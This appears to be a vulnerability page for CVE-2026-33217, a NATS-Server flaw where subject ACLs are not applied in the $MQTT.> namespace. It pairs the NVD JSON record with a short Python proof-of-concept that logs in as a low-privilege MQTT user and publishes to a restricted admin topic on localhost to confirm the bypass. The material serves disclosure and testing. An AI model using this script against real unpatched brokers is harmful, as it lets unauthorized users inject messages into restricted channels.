CVE-2026-33217

import paho.mqtt.client as mqtt import time # Configuration for the vulnerable NATS server MQTT endpoint BROKER = "127.0.0.1" PORT = 1883 # Low privilege user credentials (simulated) USERNAME = "limited_user" PASSWORD = "password" # The restricted topic that should normally be blocked by ACL # but is vulnerable under the $MQTT.> namespace RESTRICTED_TOPIC = "$MQTT.admin.commands" PAYLOAD = "Bypassed ACL check" def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to broker successfully.") # Attempt to publish to a restricted topic print(f"[*] Attempting to publish to restricted topic: {RESTRICTED_TOPIC}") client.publish(RESTRICTED_TOPIC, PAYLOAD) else: print(f"[-] Connection failed with code {rc}") def on_publish(client, userdata, mid): print(f"[+] Message published successfully (ID: {mid}). ACL bypass confirmed.") client.disconnect() client = mqtt.Client() client.username_pw_set(USERNAME, PASSWORD) client.on_connect = on_connect client.on_publish = on_publish try: client.connect(BROKER, PORT, 60) client.loop_forever() except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33217", "sourceIdentifier": "[email protected]", "published": "2026-03-25T20:16:32.473", "lastModified": "2026-03-26T17:14:48.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Prior to versions 2.11.15 and 2.12.6, when using ACLs on message subjects, these ACLs were not applied in the `$MQTT.>` namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects. Versions 2.11.15 and 2.12.6 contain a fix. No known workarounds are available."}, {"lang": "es", "value": "NATS-Server es un servidor de alto rendimiento para NATS.io, un sistema de mensajería nativo de la nube y del borde. Antes de las versiones 2.11.15 y 2.12.6, al usar ACLs en los temas de mensajes, estas ACLs no se aplicaban en el espacio de nombres '$MQTT.>', permitiendo a los clientes MQTT eludir las comprobaciones de ACL para los temas MQTT. Las versiones 2.11.15 y 2.12.6 contienen una corrección. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.15", "matchCriteriaId": "13EA156E-2759-4586-A22E-CDEAAD4D610C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.12.0", "versionEndExcluding": "2.12.6", "matchCriteriaId": "4E347CFB-C56D-4FD8-8DD8-3D34C08D7154"}]}]}], "references": [{"url": "https://advisories.nats.io/CVE/secnote-2026-07.txt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-jxxm-27vp-c3m5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}